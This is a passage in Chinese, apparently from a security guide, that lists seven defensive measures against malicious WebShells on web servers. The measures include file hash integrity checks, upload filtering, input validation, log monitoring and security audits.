  1. 文件完整性监测:定期检查服务器和Web应用程序文件的完整性,比较当前文件与原始文件的散列值或签名.如果发现任何未经授权的更改或添加的文件,可能是恶意WebShell的迹象.
  2. 强密码策略:确保使用强密码来保护服务器和Web应用程序的账户.强密码应该包含足够长度、大小写字母、数字和特殊字符的组合,并且定期更换密码.
  3. 文件上传过滤:在Web应用程序中实施严格的文件上传过滤机制,验证上传的文件类型和内容.限制允许上传的文件扩展名,并进行文件内容的检查,以避免上传恶意WebShell文件.
  4. 输入验证和过滤:对Web应用程序的用户输入进行严格的验证和过滤,以防止任意文件上传等攻击.移除或转义用户输入中的特殊字符和命令注入漏洞,以减少WebShell风险.
  5. 实时日志监控和分析:监控Web服务器日志和应用程序日志,检查异常的请求、访问行为和错误信息.建立实时告警系统,以便及时检测和响应WebShell攻击.
  6. 安全软件和防火墙:使用安全软件和防火墙来阻止对Web服务器的未经授权访问和攻击.这些工具可以检测并阻止恶意代码的执行,同时提供实时的入侵检测和防御功能.
  7. 定期安全审计:定期对服务器和Web应用程序进行安全审计,包括代码审查、漏洞扫描和渗透测试等.这有助于及时发现和修复潜在的WebShell漏洞.